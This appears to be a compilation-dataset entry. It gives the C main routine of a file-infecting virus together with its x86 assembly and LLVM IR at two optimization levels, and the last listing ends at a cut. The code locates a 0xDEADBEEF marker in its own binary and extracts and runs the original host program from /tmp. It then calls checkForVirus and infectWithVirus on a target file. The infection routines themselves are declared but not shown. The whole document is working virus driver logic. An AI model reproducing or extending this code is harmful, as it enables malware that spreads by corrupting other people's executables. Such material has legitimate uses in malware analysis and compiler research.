#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int st_size;
};

/* Variables and functions */
int O_CREAT;
int O_EXCL;
int /*<<< orphan*/ O_RDONLY;
int O_RDWR;
int PATH_MAX;
int S_IRWXU;
int S_IXGRP;
int S_IXOTH;
int checkForVirus(char *);
int /*<<< orphan*/ close(int);
int errno;
int execve(char *, char **, char **);
int /*<<< orphan*/ exit(int);
scalar_t__ fork();
int /*<<< orphan*/ free(char *);
int fstat(int, struct stat *);
int getuid();
int /*<<< orphan*/ infectWithVirus(char *, char *, int);
char *malloc(int);
int /*<<< orphan*/ memcpy(char *, char *, int);
int open(char *, int, ...);
scalar_t__ read(int, char *, int);
int readlink(char *, char *, int);
int /*<<< orphan*/ sprintf(char *, char *, int);
int unlink(char *);
int /*<<< orphan*/ wait(int *);
int /*<<< orphan*/ write(int, char *, int);
int main(int argc, char **argv, char **envp) {
  char *virBuf;
  int fd, execFd, status;
  char tempExec[100];
  struct stat fstatInfo;
  char dest[PATH_MAX];
  if (readlink("/proc/self/exe", dest, PATH_MAX) == -1) {
    exit(errno);
  }
  sprintf(tempExec, "/tmp/host.%u", getuid());
  if ((fd = open(tempExec, O_RDWR | O_CREAT | O_EXCL,
                 S_IRWXU | S_IXGRP | S_IXOTH)) == -1) {
    unlink(tempExec);
    exit(errno);
  }
  if ((execFd = open(dest, O_RDONLY)) == -1) {
    close(fd);
    exit(errno);
  }
  if (fstat(execFd, &fstatInfo) == -1) {
    close(fd);
    exit(errno);
  }
  char offBuf = 0x00;
  int offsetState = 0, virLen = 0;
  virBuf = malloc(sizeof(char) * fstatInfo.st_size);
  while (read(execFd, &offBuf, 1) == 1) {
    memcpy(&virBuf[virLen++], &offBuf, 1);
    if (offsetState == 0 && (offBuf & 255) == 0xDE) {
      offsetState = 1;
    } else if (offsetState == 1) {
      if ((offBuf & 255) == 0xAD) {
        offsetState = 2;
      } else {
        offsetState = 0;
      }
    } else if (offsetState == 2) {
      if ((offBuf & 255) == 0xBE) {
        offsetState = 3;
      } else {
        offsetState = 0;
      }
    } else if (offsetState == 3) {
      if ((offBuf & 255) == 0xEF) {
        offsetState = 4;
        break;
      } else {
        offsetState = 0;
      }
    }
  }
  if (offsetState == 4) {
    char finalBuf;
    while (read(execFd, &finalBuf, 1) > 0) {
      write(fd, &finalBuf, 1);
    }
    close(execFd);
    close(fd);
    if (fork() == 0) {
      if (execve(tempExec, argv, envp) == -1) {
        exit(errno);
      }
    }
    wait(&status);
    if (unlink(tempExec) == -1) {
      exit(1);
    }
    int checkRet = checkForVirus(argv[1]);
    if (checkRet == 0) {
      infectWithVirus(argv[1], virBuf, virLen);
    } else if (checkRet == -1) {
      exit(1);
    }
    free(virBuf);
  } else {
    free(virBuf);
    exit(1);
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0xd0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    0x2da4(%rip),%rax
mov    (%rax),%eax
mov    %rsp,%rcx
mov    %rcx,-0xa0(%rbp)
mov    %rax,%rcx
add    $0xf,%rcx
and    $0xfffffffffffffff0,%rcx
mov    %rsp,%rsi
sub    %rcx,%rsi
mov    %rsi,-0xc8(%rbp)
mov    %rsi,%rsp
mov    %rax,-0xa8(%rbp)
mov    0x2d6f(%rip),%rax
mov    (%rax),%edx
lea    0xd7e(%rip),%rdi
call   1060 <readlink@plt>
cmp    $0xffffffff,%eax
jne    129e <main+0x7e>
mov    0x2d09(%rip),%rax
mov    (%rax),%edi
call   1110 <exit@plt>
lea    -0x90(%rbp),%rax
mov    %rax,-0xd0(%rbp)
mov    $0x0,%al
call   1080 <getuid@plt>
mov    -0xd0(%rbp),%rdi
mov    %eax,%edx
lea    0xd4c(%rip),%rsi
call   1100 <sprintf@plt>
lea    -0x90(%rbp),%rdi
mov    0x2cfa(%rip),%rax
mov    (%rax),%esi
mov    0x2d19(%rip),%rax
or     (%rax),%esi
mov    0x2cc0(%rip),%rax
or     (%rax),%esi
mov    0x2ce7(%rip),%rax
mov    (%rax),%edx
mov    0x2cbe(%rip),%rax
or     (%rax),%edx
mov    0x2cc5(%rip),%rax
or     (%rax),%edx
mov    $0x0,%al
call   10f0 <open@plt>
mov    %eax,-0x24(%rbp)
cmp    $0xffffffff,%eax
jne    1332 <main+0x112>
lea    -0x90(%rbp),%rdi
call   1050 <unlink@plt>
mov    0x2c75(%rip),%rax
mov    (%rax),%edi
call   1110 <exit@plt>
mov    -0xc8(%rbp),%rdi
mov    0x2c80(%rip),%rax
mov    (%rax),%esi
mov    $0x0,%al
call   10f0 <open@plt>
mov    %eax,-0x28(%rbp)
cmp    $0xffffffff,%eax
jne    136b <main+0x14b>
mov    -0x24(%rbp),%edi
call   10a0 <close@plt>
mov    0x2c3c(%rip),%rax
mov    (%rax),%edi
call   1110 <exit@plt>
mov    -0x28(%rbp),%edi
lea    -0x98(%rbp),%rsi
call   1120 <fstat@plt>
cmp    $0xffffffff,%eax
jne    1399 <main+0x179>
mov    -0x24(%rbp),%edi
call   10a0 <close@plt>
mov    0x2c0e(%rip),%rax
mov    (%rax),%edi
call   1110 <exit@plt>
movb   $0x0,-0xa9(%rbp)
movl   $0x0,-0xb0(%rbp)
movl   $0x0,-0xb4(%rbp)
movslq -0x98(%rbp),%rax
shl    $0x0,%rax
mov    %eax,%edi
call   10e0 <malloc@plt>
mov    %rax,-0x20(%rbp)
mov    -0x28(%rbp),%edi
lea    -0xa9(%rbp),%rsi
mov    $0x1,%edx
call   10b0 <read@plt>
cmp    $0x1,%rax
jne    1520 <main+0x300>
mov    -0x20(%rbp),%rdi
mov    -0xb4(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0xb4(%rbp)
cltq
add    %rax,%rdi
lea    -0xa9(%rbp),%rsi
mov    $0x1,%edx
call   10d0 <memcpy@plt>
cmpl   $0x0,-0xb0(%rbp)
jne    1446 <main+0x226>
movsbl -0xa9(%rbp),%eax
and    $0xff,%eax
cmp    $0xde,%eax
jne    1446 <main+0x226>
movl   $0x1,-0xb0(%rbp)
jmp    151b <main+0x2fb>
cmpl   $0x1,-0xb0(%rbp)
jne    1488 <main+0x268>
movsbl -0xa9(%rbp),%eax
and    $0xff,%eax
cmp    $0xad,%eax
jne    1479 <main+0x259>
movl   $0x2,-0xb0(%rbp)
jmp    1483 <main+0x263>
movl   $0x0,-0xb0(%rbp)
jmp    1516 <main+0x2f6>
cmpl   $0x2,-0xb0(%rbp)
jne    14ca <main+0x2aa>
movsbl -0xa9(%rbp),%eax
and    $0xff,%eax
cmp    $0xbe,%eax
jne    14bb <main+0x29b>
movl   $0x3,-0xb0(%rbp)
jmp    14c5 <main+0x2a5>
movl   $0x0,-0xb0(%rbp)
jmp    1511 <main+0x2f1>
cmpl   $0x3,-0xb0(%rbp)
jne    150c <main+0x2ec>
movsbl -0xa9(%rbp),%eax
and    $0xff,%eax
cmp    $0xef,%eax
jne    14fd <main+0x2dd>
movl   $0x4,-0xb0(%rbp)
jmp    1520 <main+0x300>
movl   $0x0,-0xb0(%rbp)
jmp    150c <main+0x2ec>
jmp    1511 <main+0x2f1>
jmp    1516 <main+0x2f6>
jmp    151b <main+0x2fb>
jmp    13ca <main+0x1aa>
cmpl   $0x4,-0xb0(%rbp)
jne    1648 <main+0x428>
jmp    1532 <main+0x312>
mov    -0x28(%rbp),%edi
lea    -0xb5(%rbp),%rsi
mov    $0x1,%edx
call   10b0 <read@plt>
cmp    $0x0,%rax
jle    1569 <main+0x349>
mov    -0x24(%rbp),%edi
lea    -0xb5(%rbp),%rsi
mov    $0x1,%edx
call   1070 <write@plt>
jmp    1532 <main+0x312>
mov    -0x28(%rbp),%edi
call   10a0 <close@plt>
mov    -0x24(%rbp),%edi
call   10a0 <close@plt>
mov    $0x0,%al
call   1140 <fork@plt>
cmp    $0x0,%rax
jne    15ba <main+0x39a>
lea    -0x90(%rbp),%rdi
mov    -0x10(%rbp),%rsi
mov    -0x18(%rbp),%rdx
call   10c0 <execve@plt>
cmp    $0xffffffff,%eax
jne    15b5 <main+0x395>
mov    0x29f2(%rip),%rax
mov    (%rax),%edi
call   1110 <exit@plt>
jmp    15ba <main+0x39a>
lea    -0x2c(%rbp),%rdi
call   1130 <wait@plt>
lea    -0x90(%rbp),%rdi
call   1050 <unlink@plt>
cmp    $0xffffffff,%eax
jne    15e2 <main+0x3c2>
mov    $0x1,%edi
call   1110 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1090 <checkForVirus@plt>
mov    %eax,-0xbc(%rbp)
cmpl   $0x0,-0xbc(%rbp)
jne    161e <main+0x3fe>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
mov    -0x20(%rbp),%rsi
mov    -0xb4(%rbp),%edx
call   1040 <infectWithVirus@plt>
jmp    163a <main+0x41a>
cmpl   $0xffffffff,-0xbc(%rbp)
jne    1635 <main+0x415>
mov    $0x1,%edi
call   1110 <exit@plt>
jmp    163a <main+0x41a>
mov    -0x20(%rbp),%rdi
call   1030 <free@plt>
jmp    165b <main+0x43b>
mov    -0x20(%rbp),%rdi
call   1030 <free@plt>
mov    $0x1,%edi
call   1110 <exit@plt>
movl   $0x0,-0x4(%rbp)
mov    -0xa0(%rbp),%rax
mov    %rax,%rsp
mov    -0x4(%rbp),%eax
mov    %rbp,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
mov    %rsp,%rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0xa8,%rsp
mov    %rdx,-0x50(%rbp)
mov    %rsi,%r12
mov    %rsp,%r15
mov    0x2da3(%rip),%rax
mov    (%rax),%ecx
mov    %rsp,%rbx
add    $0xf,%rcx
and    $0xfffffffffffffff0,%rcx
sub    %rcx,%rbx
mov    %rbx,%rsp
mov    (%rax),%edx
lea    0xd9f(%rip),%rdi
mov    %rbx,%rsi
call   1060 <readlink@plt>
cmp    $0xffffffff,%eax
je     151c <main+0x2fc>
xor    %eax,%eax
call   1080 <getuid@plt>
lea    0xd8f(%rip),%rsi
lea    -0xd0(%rbp),%r14
mov    %r14,%rdi
mov    %eax,%edx
call   1100 <sprintf@plt>
mov    0x2d38(%rip),%rax
mov    0x2d59(%rip),%rcx
mov    (%rcx),%esi
or     (%rax),%esi
mov    0x2cfe(%rip),%rax
or     (%rax),%esi
mov    0x2d25(%rip),%rax
mov    0x2cfe(%rip),%rcx
mov    (%rcx),%edx
or     (%rax),%edx
mov    0x2d03(%rip),%rax
or     (%rax),%edx
mov    %r14,%rdi
xor    %eax,%eax
call   10f0 <open@plt>
cmp    $0xffffffff,%eax
je     1501 <main+0x2e1>
mov    %eax,%r13d
mov    0x2cdc(%rip),%rax
mov    (%rax),%esi
mov    %rbx,%rdi
xor    %eax,%eax
call   10f0 <open@plt>
cmp    $0xffffffff,%eax
je     150f <main+0x2ef>
mov    %eax,%ebx
mov    %r13d,-0x30(%rbp)
mov    %r12,-0x58(%rbp)
mov    %r15,-0x60(%rbp)
lea    -0x48(%rbp),%rsi
mov    %eax,%edi
call   1120 <fstat@plt>
cmp    $0xffffffff,%eax
je     1514 <main+0x2f4>
movb   $0x0,-0x29(%rbp)
mov    -0x48(%rbp),%edi
call   10e0 <malloc@plt>
mov    %rax,-0x40(%rbp)
lea    -0x29(%rbp),%rsi
mov    $0x1,%r13d
mov    %ebx,-0x34(%rbp)
mov    %ebx,%edi
mov    $0x1,%edx
call   10b0 <read@plt>
cmp    $0x1,%rax
jne    14ee <main+0x2ce>
xor    %r15d,%r15d
lea    -0x29(%rbp),%rsi
mov    -0x40(%rbp),%r12
jmp    1394 <main+0x174>
xor    %ecx,%ecx
cmp    $0xbe,%al
sete   %cl
lea    (%rcx,%rcx,2),%r15d
cs nopw 0x0(%rax,%rax,1)
mov    -0x34(%rbp),%edi
mov    %r14,%rsi
mov    $0x1,%edx
call   10b0 <read@plt>
mov    %r14,%rsi
add    $0x1,%r12
mov    %r13,%rcx
add    $0x1,%r13d
cmp    $0x1,%rax
jne    13e2 <main+0x1c2>
mov    %r15d,%ebx
mov    $0x1,%r15d
mov    %r12,%rdi
mov    %rsi,%r14
mov    $0x1,%edx
call   10d0 <memcpy@plt>
movzbl -0x29(%rbp),%eax
test   %ebx,%ebx
jne    13b9 <main+0x199>
cmp    $0xde,%al
je     1370 <main+0x150>
cmp    $0x3,%ebx
je     13d9 <main+0x1b9>
cmp    $0x2,%ebx
je     135b <main+0x13b>
mov    %ebx,%r15d
cmp    $0x1,%ebx
jne    1370 <main+0x150>
xor    %r15d,%r15d
cmp    $0xad,%al
sete   %r15b
add    %r15d,%r15d
jmp    1370 <main+0x150>
xor    %r15d,%r15d
cmp    $0xef,%al
jne    1370 <main+0x150>
jmp    13ef <main+0x1cf>
cmp    $0x4,%r15d
mov    %rcx,%r13
jne    14ee <main+0x2ce>
lea    -0x2a(%rbp),%rsi
mov    -0x34(%rbp),%r14d
mov    %r14d,%edi
mov    $0x1,%edx
call   10b0 <read@plt>
test   %rax,%rax
mov    -0x30(%rbp),%r15d
jle    1445 <main+0x225>
lea    -0x2a(%rbp),%rbx
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
mov    %r15d,%edi
mov    %rbx,%rsi
mov    $0x1,%edx
call   1070 <write@plt>
mov    %r14d,%edi
mov    %rbx,%rsi
mov    $0x1,%edx
call   10b0 <read@plt>
test   %rax,%rax
jg     1420 <main+0x200>
mov    %r14d,%edi
call   10a0 <close@plt>
mov    %r15d,%edi
call   10a0 <close@plt>
xor    %eax,%eax
call   1140 <fork@plt>
test   %rax,%rax
mov    -0x60(%rbp),%r14
mov    -0x58(%rbp),%rbx
jne    1485 <main+0x265>
lea    -0xd0(%rbp),%rdi
mov    %rbx,%rsi
mov    -0x50(%rbp),%rdx
call   10c0 <execve@plt>
cmp    $0xffffffff,%eax
je     151c <main+0x2fc>
lea    -0x64(%rbp),%rdi
call   1130 <wait@plt>
lea    -0xd0(%rbp),%rdi
call   1050 <unlink@plt>
cmp    $0xffffffff,%eax
je     14b5 <main+0x295>
mov    0x8(%rbx),%rdi
call   1090 <checkForVirus@plt>
test   %eax,%eax
je     14bf <main+0x29f>
cmp    $0xffffffff,%eax
mov    -0x40(%rbp),%rbx
jne    14d2 <main+0x2b2>
mov    $0x1,%edi
call   1110 <exit@plt>
mov    0x8(%rbx),%rdi
mov    -0x40(%rbp),%rbx
mov    %rbx,%rsi
mov    %r13d,%edx
call   1040 <infectWithVirus@plt>
mov    %rbx,%rdi
call   1030 <free@plt>
mov    %r14,%rsp
xor    %eax,%eax
lea    -0x28(%rbp),%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    -0x40(%rbp),%rdi
call   1030 <free@plt>
mov    $0x1,%edi
call   1110 <exit@plt>
lea    -0xd0(%rbp),%rdi
call   1050 <unlink@plt>
jmp    151c <main+0x2fc>
mov    %r13d,%edi
jmp    1517 <main+0x2f7>
mov    -0x30(%rbp),%edi
call   10a0 <close@plt>
mov    0x2a7d(%rip),%rax
mov    (%rax),%edi
call   1110 <exit@plt>

LLVM IR (-O0):
%struct.stat = type { i32 }
@PATH_MAX = global i32 0
@.str = [15 x i8] c"/proc/self/exe\00"
@errno = global i32 0
@.str.1 = [13 x i8] c"/tmp/host.%u\00"
@O_RDWR = global i32 0
@O_CREAT = global i32 0
@O_EXCL = global i32 0
@S_IRWXU = global i32 0
@S_IXGRP = global i32 0
@S_IXOTH = global i32 0
@O_RDONLY = global i32 0
define i32 @main(i32 %0, i8** %1, i8** %2) {
%4 = alloca i32
%5 = alloca i32
%6 = alloca i8**
%7 = alloca i8**
%8 = alloca i8*
%9 = alloca i32
%10 = alloca i32
%11 = alloca i32
%12 = alloca [100 x i8]
%13 = alloca %struct.stat
%14 = alloca i8*
%15 = alloca i64
%16 = alloca i8
%17 = alloca i32
%18 = alloca i32
%19 = alloca i8
%20 = alloca i32
store i32 0, i32* %4
store i32 %0, i32* %5
store i8** %1, i8*** %6
store i8** %2, i8*** %7
%21 = load i32, i32* @PATH_MAX
%22 = zext i32 %21 to i64
%23 = call i8* @llvm.stacksave()
store i8* %23, i8** %14
%24 = alloca i8, i64 %22
store i64 %22, i64* %15
%25 = load i32, i32* @PATH_MAX
%26 = call i32 @readlink(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0), i8* %24, i32 %25)
%27 = icmp eq i32 %26, -1
br i1 %27, label %28, label %31
28: ; preds = %3
%29 = load i32, i32* @errno
%30 = call i32 @exit(i32 %29)
unreachable
31: ; preds = %3
%32 = getelementptr inbounds [100 x i8], [100 x i8]* %12, i64 0, i64 0
%33 = call i32 (...) @getuid()
%34 = call i32 @sprintf(i8* %32, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.1, i64 0, i64 0), i32 %33)
%35 = getelementptr inbounds [100 x i8], [100 x i8]* %12, i64 0, i64 0
%36 = load i32, i32* @O_RDWR
%37 = load i32, i32* @O_CREAT
%38 = or i32 %36, %37
%39 = load i32, i32* @O_EXCL
%40 = or i32 %38, %39
%41 = load i32, i32* @S_IRWXU
%42 = load i32, i32* @S_IXGRP
%43 = or i32 %41, %42
%44 = load i32, i32* @S_IXOTH
%45 = or i32 %43, %44
%46 = call i32 (i8*, i32, ...) @open(i8* %35, i32 %40, i32 %45)
store i32 %46, i32* %9
%47 = icmp eq i32 %46, -1
br i1 %47, label %48, label %53
48: ; preds = %31
%49 = getelementptr inbounds [100 x i8], [100 x i8]* %12, i64 0, i64 0
%50 = call i32 @unlink(i8* %49)
%51 = load i32, i32* @errno
%52 = call i32 @exit(i32 %51)
unreachable
53: ; preds = %31
%54 = load i32, i32* @O_RDONLY
%55 = call i32 (i8*, i32, ...) @open(i8* %24, i32 %54)
store i32 %55, i32* %10
%56 = icmp eq i32 %55, -1
br i1 %56, label %57, label %62
57: ; preds = %53
%58 = load i32, i32* %9
%59 = call i32 @close(i32 %58)
%60 = load i32, i32* @errno
%61 = call i32 @exit(i32 %60)
unreachable
62: ; preds = %53
%63 = load i32, i32* %10
%64 = call i32 @fstat(i32 %63, %struct.stat* %13)
%65 = icmp eq i32 %64, -1
br i1 %65, label %66, label %71
66: ; preds = %62
%67 = load i32, i32* %9
%68 = call i32 @close(i32 %67)
%69 = load i32, i32* @errno
%70 = call i32 @exit(i32 %69)
unreachable
71: ; preds = %62
store i8 0, i8* %16
store i32 0, i32* %17
store i32 0, i32* %18
%72 = getelementptr inbounds %struct.stat, %struct.stat* %13, i32 0, i32 0
%73 = load i32, i32* %72
%74 = sext i32 %73 to i64
%75 = mul i64 1, %74
%76 = trunc i64 %75 to i32
%77 = call i8* @malloc(i32 %76)
store i8* %77, i8** %8
br label %78
78: ; preds = %133, %71
%79 = load i32, i32* %10
%80 = call i64 @read(i32 %79, i8* %16, i32 1)
%81 = icmp eq i64 %80, 1
br i1 %81, label %82, label %134
82: ; preds = %78
%83 = load i8*, i8** %8
%84 = load i32, i32* %18
%85 = add nsw i32 %84, 1
store i32 %85, i32* %18
%86 = sext i32 %84 to i64
%87 = getelementptr inbounds i8, i8* %83, i64 %86
%88 = call i32 @memcpy(i8* %87, i8* %16, i32 1)
%89 = load i32, i32* %17
%90 = icmp eq i32 %89, 0
br i1 %90, label %91, label %97
91: ; preds = %82
%92 = load i8, i8* %16
%93 = sext i8 %92 to i32
%94 = and i32 %93, 255
%95 = icmp eq i32 %94, 222
br i1 %95, label %96, label %97
96: ; preds = %91
store i32 1, i32* %17
br label %133
97: ; preds = %91, %82
%98 = load i32, i32* %17
%99 = icmp eq i32 %98, 1
br i1 %99, label %100, label %108
100: ; preds = %97
%101 = load i8, i8* %16
%102 = sext i8 %101 to i32
%103 = and i32 %102, 255
%104 = icmp eq i32 %103, 173
br i1 %104, label %105, label %106
105: ; preds = %100
store i32 2, i32* %17
br label %107
106: ; preds = %100
store i32 0, i32* %17
br label %107
107: ; preds = %106, %105
br label %132
108: ; preds = %97
%109 = load i32, i32* %17
%110 = icmp eq i32 %109, 2
br i1 %110, label %111, label %119
111: ; preds = %108
%112 = load i8, i8* %16
%113 = sext i8 %112 to i32
%114 = and i32 %113, 255
%115 = icmp eq i32 %114, 190
br i1 %115, label %116, label %117
116: ; preds = %111
store i32 3, i32* %17
br label %118
117: ; preds = %111
store i32 0, i32* %17
br label %118
118: ; preds = %117, %116
br label %131
119: ; preds = %108
%120 = load i32, i32* %17
%121 = icmp eq i32 %120, 3
br i1 %121, label %122, label %130
122: ; preds = %119
%123 = load i8, i8* %16
%124 = sext i8 %123 to i32
%125 = and i32 %124, 255
%126 = icmp eq i32 %125, 239
br i1 %126, label %127, label %128
127: ; preds = %122
store i32 4, i32* %17
br label %134
128: ; preds = %122
store i32 0, i32* %17
br label %129
129: ; preds = %128
br label %130
130: ; preds = %129, %119
br label %131
131: ; preds = %130, %118
br label %132
132: ; preds = %131, %107
br label %133
133: ; preds = %132, %96
br label %78
134: ; preds = %127, %78
%135 = load i32, i32* %17
%136 = icmp eq i32 %135, 4
br i1 %136, label %137, label %192
137: ; preds = %134
br label %138
138: ; preds = %142, %137
%139 = load i32, i32* %10
%140 = call i64 @read(i32 %139, i8* %19, i32 1)
%141 = icmp sgt i64 %140, 0
br i1 %141, label %142, label %145
142: ; preds = %138
%143 = load i32, i32* %9
%144 = call i32 @write(i32 %143, i8* %19, i32 1)
br label %138
145: ; preds = %138
%146 = load i32, i32* %10
%147 = call i32 @close(i32 %146)
%148 = load i32, i32* %9
%149 = call i32 @close(i32 %148)
%150 = call i64 (...) @fork()
%151 = icmp eq i64 %150, 0
br i1 %151, label %152, label %162
152: ; preds = %145
%153 = getelementptr inbounds [100 x i8], [100 x i8]* %12, i64 0, i64 0
%154 = load i8**, i8*** %6
%155 = load i8**, i8*** %7
%156 = call i32 @execve(i8* %153, i8** %154, i8** %155)
%157 = icmp eq i32 %156, -1
br i1 %157, label %158, label %161
158: ; preds = %152
%159 = load i32, i32* @errno
%160 = call i32 @exit(i32 %159)
unreachable
161: ; preds = %152
br label %162
162: ; preds = %161, %145
%163 = call i32 @wait(i32* %11)
%164 = getelementptr inbounds [100 x i8], [100 x i8]* %12, i64 0, i64 0
%165 = call i32 @unlink(i8* %164)
%166 = icmp eq i32 %165, -1
br i1 %166, label %167, label %169
167: ; preds = %162
%168 = call i32 @exit(i32 1)
unreachable
169: ; preds = %162
%170 = load i8**, i8*** %6
%171 = getelementptr inbounds i8*, i8** %170, i64 1
%172 = load i8*, i8** %171
%173 = call i32 @checkForVirus(i8* %172)
store i32 %173, i32* %20
%174 = load i32, i32* %20
%175 = icmp eq i32 %174, 0
br i1 %175, label %176, label %183
176: ; preds = %169
%177 = load i8**, i8*** %6
%178 = getelementptr inbounds i8*, i8** %177, i64 1
%179 = load i8*, i8** %178
%180 = load i8*, i8** %8
%181 = load i32, i32* %18
%182 = call i32 @infectWithVirus(i8* %179, i8* %180, i32 %181)
br label %189
183: ; preds = %169
%184 = load i32, i32* %20
%185 = icmp eq i32 %184, -1
br i1 %185, label %186, label %188
186: ; preds = %183
%187 = call i32 @exit(i32 1)
unreachable
188: ; preds = %183
br label %189
189: ; preds = %188, %176
%190 = load i8*, i8** %8
%191 = call i32 @free(i8* %190)
br label %196
192: ; preds = %134
%193 = load i8*, i8** %8
%194 = call i32 @free(i8* %193)
%195 = call i32 @exit(i32 1)
unreachable
196: ; preds = %189
store i32 0, i32* %4
%197 = load i8*, i8** %14
%198 = load i32, i32* %4
ret i32 %198
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@PATH_MAX = global i32 0
@.str = [15 x i8] c"/proc/self/exe\00"
@errno = global i32 0
@.str.1 = [13 x i8] c"/tmp/host.%u\00"
@O_RDWR = global i32 0
@O_CREAT = global i32 0
@O_EXCL = global i32 0
@S_IRWXU = global i32 0
@S_IXGRP = global i32 0
@S_IXOTH = global i32 0
@O_RDONLY = global i32 0
define i32 @main(i32 %0, i8** %1, i8** %2) {
%4 = alloca i32
%5 = alloca [100 x i8]
%6 = alloca %struct.stat
%7 = alloca i8
%8 = alloca i8
%9 = bitcast i32* %4 to i8*
%10 = getelementptr inbounds [100 x i8], [100 x i8]* %5, i64 0, i64 0
%11 = bitcast %struct.stat* %6 to i8*
%12 = load i32, i32* @PATH_MAX
%13 = zext i32 %12 to i64
%14 = tail call i8* @llvm.stacksave()
%15 = alloca i8, i64 %13
%16 = load i32, i32* @PATH_MAX
%17 = call i32 @readlink(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0), i8* %15, i32 %16)
%18 = icmp eq i32 %17, -1
br i1 %18, label %19, label %22
19: ; preds = %3
%20 = load i32, i32* @errno
%21 = tail call i32 @exit(i32 %20)
unreachable
22: ; preds = %3
%23 = tail call i32 (...) @getuid()
%24 = call i32 @sprintf(i8* %10, i8* dereferenceable(1) getelementptr inbounds ([13 x i8], [13 x i8]* @.str.1, i64 0, i64 0), i32 %23)
%25 = load i32, i32* @O_RDWR
%26 = load i32, i32* @O_CREAT
%27 = or i32 %26, %25
%28 = load i32, i32* @O_EXCL
%29 = or i32 %27, %28
%30 = load i32, i32* @S_IRWXU
%31 = load i32, i32* @S_IXGRP
%32 = or i32 %31, %30
%33 = load i32, i32* @S_IXOTH
%34 = or i32 %32, %33
%35 = call i32 (i8*, i32, ...) @open(i8* %10, i32 %29, i32 %34)
%36 = icmp eq i32 %35, -1
br i1 %36, label %37, label %41
37: ; preds = %22
%38 = call i32 @unlink(i8* %10)
%39 = load i32, i32* @errno
%40 = tail call i32 @exit(i32 %39)
unreachable
41: ; preds = %22
%42 = load i32, i32* @O_RDONLY
%43 = call i32 (i8*, i32, ...) @open(i8* %15, i32 %42)
%44 = icmp eq i32 %43, -1
br i1 %44, label %45, label %49
45: ; preds = %41
%46 = tail call i32 @close(i32 %35)
%47 = load i32, i32* @errno
%48 = tail call i32 @exit(i32 %47)
unreachable
49: ; preds = %41
%50 = call i32 @fstat(i32 %43, %struct.stat* %6)
%51 = icmp eq i32 %50, -1
br i1 %51, label %52, label %56
52: ; preds = %49
%53 = tail call i32 @close(i32 %35)
%54 = load i32, i32* @errno
%55 = tail call i32 @exit(i32 %54)
unreachable
56: ; preds = %49
store i8 0, i8* %7
%57 = getelementptr inbounds %struct.stat, %struct.stat* %6, i64 0, i32 0
%58 = load i32, i32* %57
%59 = tail call i8* @malloc(i32 %58)
%60 = call i64 @read(i32 %43, i8* %7, i32 1)
%61 = icmp eq i64 %60, 1
br i1 %61, label %62, label %123
62: ; preds = %56, %81
%63 = phi i64 [ %65, %81 ], [ 0, %56 ]
%64 = phi i32 [ %82, %81 ], [ 0, %56 ]
%65 = add nuw i64 %63, 1
%66 = getelementptr inbounds i8, i8* %59, i64 %63
%67 = call i32 @memcpy(i8* %66, i8* %7, i32 1)
%68 = icmp eq i32 %64, 0
%69 = load i8, i8* %7
%70 = icmp eq i8 %69, -34
%71 = select i1 %68, i1 %70, i1 false
br i1 %71, label %81, label %72
72: ; preds = %62
switch i32 %64, label %81 [
i32 1, label %73
i32 2, label %76
i32 3, label %79
]
73: ; preds = %72
%74 = icmp eq i8 %69, -83
%75 = select i1 %74, i32 2, i32 0
br label %81
76: ; preds = %72
%77 = icmp eq i8 %69, -66
%78 = select i1 %77, i32 3, i32 0
br label %81
79: ; preds = %72
%80 = icmp eq i8 %69, -17
br i1 %80, label %87, label %81
81: ; preds = %79, %72, %76, %73, %62
%82 = phi i32 [ 1, %62 ], [ %75, %73 ], [ %78, %76 ], [ %64, %72 ], [ 0, %79 ]
%83 = call i64 @read(i32 %43, i8* %7, i32 1)
%84 = icmp eq i64 %83, 1
br i1 %84, label %62, label %85
85: ; preds = %81
%86 = icmp eq i32 %82, 4
br i1 %86, label %87, label %123
87: ; preds = %79, %85
%88 = trunc i64 %65 to i32
%89 = call i64 @read(i32 %43, i8* %8, i32 1)
%90 = icmp sgt i64 %89, 0
br i1 %90, label %91, label %95
91: ; preds = %87, %91
%92 = call i32 @write(i32 %35, i8* %8, i32 1)
%93 = call i64 @read(i32 %43, i8* %8, i32 1)
%94 = icmp sgt i64 %93, 0
br i1 %94, label %91, label %95
95: ; preds = %91, %87
%96 = call i32 @close(i32 %43)
%97 = call i32 @close(i32 %35)
%98 = call i64 (...) @fork()
%99 = icmp eq i64 %98, 0
br i1 %99, label %100, label %106
100: ; preds = %95
%101 = call i32 @execve(i8* %10, i8** %1, i8** %2)
%102 = icmp eq i32 %101, -1
br i1 %102, label %103, label %106
103: ; preds = %100
%104 = load i32, i32* @errno
%105 = call i32 @exit(i32 %104)
unreachable
106: ; preds = %100, %95
%107 = call i32 @wait(i32* %4)
%108 = call i32 @unlink(i8* %10)
%109 = icmp eq i32 %108, -1
br i1 %109, label %110, label %112
110: ; preds = %106
%111 = call i32 @exit(i32 1)
unreachable
112: ; preds = %106
%113 = getelementptr inbounds i8*, i8** %1, i64 1
%114 = load i8*, i8** %113
%115 = call i32 @checkForVirus(i8* %114)
switch i32 %115, label %121 [
i32 0, label %116
i32 -1, label %119
]
116: ; preds = %112
%117 = load i8*, i8** %113
%118 = call i32 @infectWithVirus(i8* %117, i8* %59, i32 %88)
br label %121
119: ; preds = %112
%120 = call i32 @exit(i32 1)
unreachable
121: ; preds = %112, %116
